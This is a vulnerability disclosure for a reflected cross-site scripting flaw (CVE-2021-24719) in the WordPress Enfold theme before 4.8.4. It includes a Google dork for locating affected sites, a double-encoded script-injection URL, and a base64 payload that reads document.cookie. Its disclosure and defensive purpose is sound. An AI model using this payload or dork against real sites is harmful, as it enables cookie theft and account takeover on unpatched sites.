WordPress Theme Enfold 4.8.3 - Reflected Cross-Site Scripting Vulnerability

# Exploit Title: WordPress Theme Enfold 4.8.3 - Reflected Cross-Site Scripting (XSS)
# Google Dork: "inurl:avia-element-paging"
# Exploit Author: Francisco Díaz-Pache Alonso, Sergio Corral Cristo and David Álvarez Robles
# Vendor Homepage: https://kriesi.at/
# Version: Enfold < 4.8.4 (all versions)
# Tested on: Ubuntu
# CVE : CVE-2021-24719

# Full disclosure and PoC on: https://blog.asturhackers.es/cross-site-scripting-xss-reflejado-en-tema-enfold-4-8-4-para-wordpress

While navigating on WordPress sites with Enfold Theme previous than 4.8.4 version and Avia Page Builder, string “ProofOfConcept” can be reflected literally  on pagination numbers. Moreover, the parameter “avia-element-paging” appears and can be used for crafting Google Dork based searches.

https://[hostname]/[path]?ProofOfConcept --> This URL must include pages shown by Enfold theme

Changing the “ProofOfConcept” text with a Cross-Site-Scripting (XSS) payload, the page processes and executes it. This is a reflected Cross-Site-Scripting (XSS)  vulnerability. Find the following URL that includes the malicious payload.

https://[hostname]/[path]/?%2527%253E%253Cscript%253Eeval%2528atob%2528%2522Y29uc29sZS5sb2coZG9j --> This URL must include pages shown by Enfold theme

Payload (double encoded): this payload is double encoded in the URL from:
'><script>eval(atob("Y29uc29sZS5sb2coZG9jdW1lbnQuY29va2llKQ=="))</script>

Payload (base64): the “atob” payload is Base64 encoded from:
console.log(document.cookie)

Navigating to the crafted URL, the console log displays some cookies that are used by the affected site (i.e. cookies with no “HttpOnly” flag set). However, the payload can be easily configurable.